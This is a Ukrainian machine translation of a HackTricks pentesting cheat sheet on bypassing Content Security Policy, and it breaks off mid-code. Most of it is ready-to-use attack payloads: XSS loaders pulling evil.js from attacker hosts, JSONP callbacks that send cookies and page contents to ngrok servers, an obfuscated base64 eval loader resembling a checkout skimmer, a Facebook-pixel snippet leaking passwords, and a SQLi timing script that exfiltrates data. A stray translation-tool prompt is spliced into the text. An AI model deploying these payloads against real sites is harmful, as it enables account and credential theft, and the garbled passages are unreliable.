Content Security Policy (CSP) Bypass
Reading time: 31 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Що таке CSP
Content Security Policy (CSP) вважається технологією браузера, яка насамперед спрямована на захист від атак, таких як cross-site scripting (XSS). Вона працює шляхом визначення й деталізації шляхів і джерел, з яких браузер може безпечно завантажувати ресурси. Ці ресурси охоплюють різні елементи, такі як зображення, фрейми та JavaScript. Наприклад, політика може дозволяти завантаження й виконання ресурсів із того ж домену (self), включно з inline-ресурсами та виконанням коду-рядка через функції на кшталт eval
, setTimeout
або setInterval
.
Впровадження CSP здійснюється через заголовки відповіді або шляхом додавання meta-елементів у HTML-сторінку. Відповідно до цієї політики браузери активно застосовують ці вимоги й одразу блокують будь-які виявлені порушення.
- Реалізується через заголовок відповіді:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Реалізовано через meta-тег:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Заголовки
CSP можна застосовувати або моніторити за допомогою цих заголовків:
Content-Security-Policy
: Застосовує CSP; браузер блокує будь-які порушення.Content-Security-Policy-Report-Only
: Використовується для моніторингу; повідомляє про порушення, не блокуючи їх. Ідеально підходить для тестування в передпродакшн середовищах.
Визначення ресурсів
CSP обмежує джерела (origins) для завантаження як активного, так і пасивного контенту, контролюючи такі аспекти, як виконання inline JavaScript та використання eval()
. Приклад політики:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Директиви
- script-src: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що запускаються обробниками подій або XSLT стилями.
- default-src: Встановлює політику за замовчуванням для отримання ресурсів, коли відсутні специфічні директиви для fetch.
- child-src: Визначає дозволені джерела для веб-воркерів і вбудованого вмісту фреймів.
- connect-src: Обмежує URL, які можна завантажувати через інтерфейси на кшталт fetch, WebSocket, XMLHttpRequest.
- frame-src: Обмежує URL для фреймів.
- frame-ancestors: Визначає, які джерела можуть вбудовувати поточну сторінку; застосовується до елементів таких як
<frame>
,<iframe>
,<object>
,<embed>
, and<applet>
. - img-src: Визначає дозволені джерела для зображень.
- font-src: Вказує допустимі джерела для шрифтів, завантажуваних через
@font-face
. - manifest-src: Визначає дозволені джерела файлів manifest додатка.
- media-src: Визначає дозволені джерела для завантаження медіа-об'єктів.
- object-src: Визначає дозволені джерела для елементів
<object>
,<embed>
, and<applet>
. - base-uri: Вказує дозволені URL для завантаження через елемент
<base>
. - form-action: Перелічує допустимі кінцеві точки для відправлення форм.
- plugin-types: Обмежує mime-типи, які сторінка може викликати.
- upgrade-insecure-requests: Інструктує браузери переписувати HTTP URL у HTTPS.
- sandbox: Застосовує обмеження, подібні до атрибута sandbox елемента
<iframe>
. - report-to: Вказує групу, куди буде відправлено звіт у разі порушення політики.
- worker-src: Визначає допустимі джерела для скриптів Worker, SharedWorker або ServiceWorker.
- prefetch-src: Визначає допустимі джерела для ресурсів, які будуть отримані або попередньо завантажені.
- navigate-to: Обмежує URL, до яких документ може переходити будь-яким способом (a, form, window.location, window.open, тощо).
Джерела
*
: Дозволяє всі URL, окрім тих, що мають схемиdata:
,blob:
,filesystem:
.'self'
: Дозволяє завантаження з того самого домену.'data'
: Дозволяє завантаження ресурсів через data-схему (наприклад, зображення у Base64).'none'
: Блокує завантаження з будь-якого джерела.'unsafe-eval'
: Дозволяє використанняeval()
та подібних методів; не рекомендовано з міркувань безпеки.'unsafe-hashes'
: Дозволяє використання певних вбудованих обробників подій.'unsafe-inline'
: Дозволяє використання вбудованих ресурсів, таких як inline<script>
або<style>
; не рекомендовано з міркувань безпеки.'nonce'
: Білий список для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce на сторінці за допомогою
doc.defaultView.top.document.querySelector("[nonce]")
і потім повторно використати його для завантаження шкідливого скрипту (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажувати нові джерела, тому це не потрібно), наприклад:
Завантажити скрипт, повторно використовуючи nonce
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
'sha256-<hash>'
: Додає скрипти з конкретним sha256-хешем до дозволених джерел.'strict-dynamic'
: Дозволяє завантаження скриптів з будь-якого джерела, якщо вони були додані до дозволених за допомогою nonce або hash.'host'
: Вказує конкретний хост, наприкладexample.com
.https:
: Обмежує URL-адреси лише тими, що використовують HTTPS.blob:
: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених через JavaScript).filesystem:
: Дозволяє завантаження ресурсів з файлової системи.'report-sample'
: Включає зразок коду, що порушує політику, у звіт про порушення (корисно для налагодження).'strict-origin'
: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні origin можуть завантажувати ресурси з безпечних origin).'strict-origin-when-cross-origin'
: Надсилає повні URL при запитах до того ж origin, але надсилає лише origin при крос-оріджин запитах.'unsafe-allow-redirects'
: Дозволяє завантаження ресурсів, які негайно переадресовують на інший ресурс. Не рекомендовано, оскільки послаблює безпеку.
Небезпечні правила CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Робочий payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
CSP bypass: self + 'unsafe-inline' with Iframes
'unsafe-eval'
caution
Це не працює, для отримання додаткової інформації check this.
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Робочий payload:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Якщо ви якимось чином зможете зробити так, щоб allowed JS code created a new script tag у DOM з вашим JS code, оскільки allowed script його створює, то new script tag will be allowed to be executed.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Робочий payload:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Відсутність object-src і default-src
[!CAUTION] > Схоже, це більше не працює
Content-Security-Policy: script-src 'self' ;
Робочі payloads:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Завантаження файлу + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Якщо ви можете завантажити JS-файл, ви можете обійти цей CSP:
Робочий payload:
"/>'><script src="/uploads/picture.png.js"></script>
However, it's highly probable that the server is перевіряє завантажений файл and will only allow you to завантажувати певні типи файлів.
Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.
From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).
Form-action
If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src
does not cover form actions.
Third Party Endpoints + ('unsafe-eval')
warning
Для деяких з наведених payload unsafe-eval
навіть не потрібен.
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Завантажте вразливу версію angular і виконайте довільний JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + a library with functions that return the window
object (check out this post):
tip
The post shows that you could завантажити всі бібліотеки з cdn.cloudflare.com
(or any other allowed JS libraries repo), виконати всі додані функції з кожної бібліотеки, та перевірити які функції з яких бібліотек повертають об'єкт window
.
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS із імені класу:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Зловживання google recaptcha JS code
Згідно з this CTF writeup ви можете зловживати https://www.google.com/recaptcha/ всередині CSP, щоб виконати довільний JS code, обійшовши CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Більше payloads from this writeup:
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
<!-- Trigger alert -->
<img src="x" ng-on-error="$event.target.ownerDocument.defaultView.alert(1)" />
<!-- Reuse nonce -->
<img
src="x"
ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)' />
Зловживання www.google.com для open redirect
Наступний URL перенаправляє на example.com (з here):
https://www.google.com/amp/s/example.com/
Зловживання *.google.com/script.google.com
Можна зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це зроблено в цьому звіті.
Сторонні кінцеві точки + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Сценарії на кшталт цього, коли script-src
встановлено в self
і певний домен додано до білого списку, можна обійти за допомогою JSONP. JSONP endpoints дозволяють insecure callback methods, які дозволяють attacker виконати XSS, working payload:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
JSONBee містить готові до використання JSONP endpoints для обходу CSP різних вебсайтів.
Та сама вразливість виникає, якщо trusted endpoint містить Open Redirect, оскільки якщо початковий endpoint довірений, то і redirects вважаються довіреними.
Зловживання третіх сторін
Як описано в following post, існує багато доменів третіх сторін, які можуть бути дозволені десь у CSP і які можна зловживати для exfiltrate data або виконання JavaScript-коду. Деякі з цих третіх сторін:
Сервіс | Дозволений домен | Можливості |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Якщо ви знайдете будь-який із дозволених доменів у CSP вашої цілі, є велика ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі і або exfiltrate data на цей сервіс, або виконати код.
Наприклад, якщо ви знайдете наступний CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
або
Content-Security-Policy: connect-src www.facebook.com;
Ви повинні мати змогу exfiltrate дані, так само як це завжди робилося за допомогою Google Analytics/Google Tag Manager. У цьому випадку виконуйте загальні кроки:
- Створіть Facebook Developer account тут.
- Створіть новий додаток "Facebook Login" і виберіть "Website".
- Перейдіть до "Settings -> Basic" і отримайте ваш "App ID"
- На цільовому сайті, з якого ви хочете exfiltrate data, ви можете exfiltrate data, безпосередньо використовуючи Facebook SDK gadget "fbq" через "customEvent" та data payload.
- Перейдіть до вашого App "Event Manager" і виберіть створений додаток (зверніть увагу, що event manager можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
- Виберіть вкладку "Test Events", щоб побачити події, які надсилає "your" web site.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати Facebook tracking pixel, вказати app-id облікового запису Facebook Developer атакуючого і викликати custom event таким чином:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Що стосується інших семи сторонніх доменів, зазначених у попередній таблиці, існує багато інших способів їхнього зловживання. Зверніться до раніше blog post для додаткових пояснень щодо інших зловживань третіх сторін.
Обхід через RPO (Relative Path Overwrite)
На додаток до вищевказаного перенаправлення для обходу обмежень шляху, існує інша техніка, звана Relative Path Overwrite (RPO), яку можна використовувати на деяких серверах.
Наприклад, якщо CSP дозволяє шлях https://example.com/scripts/react/
, його можна обійти так:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Браузер в кінцевому підсумку завантажить https://example.com/scripts/angular/angular.js
.
Це працює, тому що для браузера ви завантажуєте файл з іменем ..%2fangular%2fangular.js
, розташований під https://example.com/scripts/react/
, що відповідає CSP.
В результаті, вони його декодують, фактично запитуючи https://example.com/scripts/react/../angular/angular.js
, що еквівалентно https://example.com/scripts/angular/angular.js
.
Шляхові правила можуть бути обійдені, експлуатуючи цю невідповідність у інтерпретації URL між браузером і сервером.
Рішення — не трактувати %2f
як /
на стороні сервера, забезпечивши узгоджену інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Онлайн приклад: https://jsbin.com/werevijewa/edit?html,output
Iframes JS execution
Відсутній base-uri
Якщо директива base-uri відсутня, ви можете зловживати цим, щоб виконати dangling markup injection.
Більше того, якщо сторінка завантажує скрипт з відносного шляху (наприклад <script src="/js/app.js">
) з використанням Nonce, ви можете зловживати base tag щоб змусити його завантажити скрипт з вашого сервера, досягаючи XSS.
Якщо вразлива сторінка завантажується через httpS, використовуйте httpS url у base.
<base href="https://www.attacker.com/" />
Події AngularJS
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript-події. Проте AngularJS вводить кастомні події як альтернативу. Всередині події AngularJS надає унікальний об'єкт $event
, який посилається на нативний об'єкт події браузера. Цей $event
об'єкт може бути використаний для обходу CSP. Зауважте, що в Chrome об'єкт $event/event
має атрибут path
, який містить масив об'єктів, задіяний у ланцюжку виконання події, причому об'єкт window
завжди розташований в кінці. Ця структура є вирішальною для тактик sandbox escape.
Направивши цей масив до фільтра orderBy
, можна ітерувати по ньому, використовуючи кінцевий елемент (об'єкт window
) для виклику глобальної функції, наприклад alert()
. Показаний нижче фрагмент коду ілюструє цей процес:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Цей фрагмент демонструє використання директиви ng-focus
для виклику події, застосування $event.path|orderBy
для маніпуляції масивом path
і використання об'єкта window
для виконання функції alert()
, що дозволяє отримати document.cookie
.
Знайдіть інші Angular bypasses на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS і домен у білому списку
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Політику CSP, яка включає домени в білому списку для завантаження скриптів у додатку Angular JS, можна обійти шляхом виклику callback functions та певних vulnerable classes. Більш детальна інформація про цю техніку доступна в докладному посібнику на цьому git repository.
Working payloads:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Інші JSONP кінцеві точки для довільного виконання можна знайти в here (деякі з них були видалені або виправлені)
Обхід через перенаправлення
Що відбувається, коли CSP зустрічає серверне перенаправлення? Якщо перенаправлення веде до іншого origin, який не дозволено, воно все одно не пройде.
Однак, згідно з описом у CSP spec 4.2.2.3. Paths and Redirects, якщо перенаправлення веде до іншого шляху, воно може обійти початкові обмеження.
Ось приклад:
<!DOCTYPE html>
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</head>
<body>
<div id="userContent">
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Якщо CSP встановлено на https://www.google.com/a/b/c/d
, оскільки враховується шлях, скрипти /test
та /a/test
будуть заблоковані CSP.
Однак кінцевий http://localhost:5555/301
буде перенаправлений на сервері на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Оскільки це перенаправлення, шлях не враховується, і скрипт може бути завантажений, що дозволяє обійти обмеження шляху.
З таким перенаправленням, навіть якщо шлях вказано повністю, його все одно можна обійти.
Тому найкраще рішення — переконатися, що на сайті немає вразливостей open redirect і що в правилах CSP немає доменів, які можна використати.
Bypass CSP with dangling markup
Read how here.
'unsafe-inline'; img-src *; via XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а img-src *
означає, що ви можете використовувати на сторінці будь-яке зображення з будь-якого джерела.
Ви можете обійти цей CSP шляхом ексфільтрації даних через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і flag витягується через зображення):
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
Джерело: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Ви також можете зловживати цією конфігурацією, щоб завантажити javascript code, вставлений у зображення. Наприклад, якщо сторінка дозволяє завантажувати зображення з Twitter. Ви можете створити спеціальне зображення, завантажити його в Twitter та зловживати значенням "unsafe-inline", щоб виконати JS-код (як звичайний XSS), який завантажить зображення, витягне з нього JS і виконає його: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
З Service Workers
Функція Service workers importScripts
не обмежена CSP:
Policy Injection
Дослідження: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Якщо параметр, надісланий вами, вставляється всередину оголошення політики, то ви можете змінити політику так, щоб вона стала марною. Ви можете дозволити script 'unsafe-inline' за допомогою будь-якого з цих обхідних шляхів:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Оскільки ця директива буде overwrite existing script-src directives.
You can find an example here: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
У Edge це значно простіше. Якщо ви зможете додати в CSP лише це: ;_
— Edge скине всю політику.
Example: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Time attack
Зверніть увагу на відсутність директиви 'unsafe-inline'
Цього разу ви можете змусити жертву load сторінку під your control через XSS за допомогою <iframe
. Ви змусите жертву звернутися до сторінки, звідки ви хочете витягти інформацію (CSRF). Ви не зможете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете control the time the page needs to load, то зможете витягти потрібну інформацію.
Цього разу буде витягнуто flag — коли char is correctly guessed через SQLi, response займатиме more time через функцію sleep. Тоді ви зможете витягти flag:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}
function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}
async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"
async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}
run()
</script>
За допомогою Bookmarklets
Ця атака передбачає певну соціальну інженерію, де атакуючий переконує користувача перетягнути посилання на bookmarklet браузера. Це bookmarklet міститиме шкідливий javascript код, який при drag&dropped або натисканні виконуватиметься в контексті поточного веб-вікна, обминаючи CSP і дозволяючи викрадати конфіденційну інформацію таку як cookies або tokens.
Для додаткової інформації перегляньте оригінальний звіт тут.
Обхід CSP шляхом обмеження CSP
У this CTF writeup, CSP було обійдено шляхом ін’єкції всередину дозволеного iframe більш обмежувальної CSP, яка забороняла завантаження конкретного JS файлу, що потім через prototype pollution або dom clobbering дозволило зловживати іншим скриптом для завантаження довільного скрипту.
Ви можете обмежити CSP iframe за допомогою атрибуту csp
:
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
У this CTF writeup, було можливо через HTML injection більш restrict CSP, внаслідок чого скрипт, що запобігає CSTI, був відключений і тому vulnerability became exploitable.
CSP можна зробити більш суворим за допомогою HTML meta tags, а inline scripts можна вимкнути, removing the entry що дозволяє їх nonce, і enable specific inline script via sha:
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
JS exfiltration with Content-Security-Policy-Report-Only
Якщо вам вдасться змусити сервер відповісти заголовком Content-Security-Policy-Report-Only
зі значенням, контрольованим вами (наприклад через CRLF), ви можете вказати в ньому ваш сервер, і якщо ви обгорнете JS content, який хочете exfiltrate, у <script>
, і оскільки дуже ймовірно, що unsafe-inline
не дозволено CSP, це спровокує помилку CSP і частина скрипта (яка містить чутливу інформацію) буде відправлена на сервер через Content-Security-Policy-Report-Only
.
For an example check this CTF writeup.
CVE-2020-6519
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
Leaking інформацію з CSP і Iframe
- Створюється
iframe
, який вказує на URL (назвімо йогоhttps://example.redirect.com
), що дозволений CSP. - Цей URL потім перенаправляє на секретний URL (наприклад,
https://usersecret.example2.com
), який не дозволений CSP. - Прослуховуючи подію
securitypolicyviolation
, можна захопити властивістьblockedURI
. Ця властивість розкриває домен заблокованого URI, leaking секретний домен, на який було перенаправлено початковий URL.
Цікаво зазначити, що браузери, такі як Chrome та Firefox, мають різну поведінку при обробці iframe щодо CSP, що може призвести до розкриття чутливої інформації через невизначену поведінку.
Інший метод полягає у використанні самої CSP для встановлення секретного піддомену. Цей підхід базується на бінарному пошуку і зміні CSP для включення конкретних доменів, які навмисно блокуються. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, модифікуючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, який показує, як CSP може бути налаштований для полегшення цього методу:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Моніторячи, які запити блокуються або дозволяються CSP, можна звузити набір можливих символів у секретному піддомені і в кінцевому підсумку відкрити повний URL.
Обидва методи використовують нюанси реалізації CSP та поведінки браузерів, демонструючи, як на перший погляд безпечні політики можуть ненавмисно leak конфіденційну інформацію.
Trick from here.
Unsafe Technologies to Bypass CSP
PHP — помилки при занадто великій кількості params
Згідно з last technique commented in this video, відправка занадто великої кількості параметрів (1001 GET parameters хоча це можна також зробити з POST params і більше ніж 20 файлів). Будь-який визначений header()
у PHP web code не буде відправлено через помилку, яку це спричинить.
PHP — перевантаження буфера відповіді
PHP відомий тим, що за замовчуванням буферизує response до 4096 байтів. Тому, якщо PHP показує warning, надаючи достатньо даних всередині warning, response буде відправлено перед CSP header, через що заголовок буде ігноровано.\
Техніка, фактично, полягає в заповненні буфера відповіді warning-ами, щоб CSP header не був відправлений.
Idea from this writeup.
Припинення дії CSP через max_input_vars (headers already sent)
Оскільки headers має бути відправлено до будь-якого виводу, warnings, які генерує PHP, можуть зробити недійсними пізніші виклики header()
. Якщо користувацький ввід перевищує max_input_vars
, PHP спочатку викидає startup warning; будь-який наступний header('Content-Security-Policy: ...')
завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS.
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
Будь ласка, надайте вміст файлу src/pentesting-web/content-security-policy-csp-bypass/README.md, який потрібно перекласти.
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
Перезапис сторінки помилки
З this writeup виглядає, що можна було bypass захист CSP, завантаживши сторінку помилки (можливо без CSP) та перезаписавши її вміст.
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
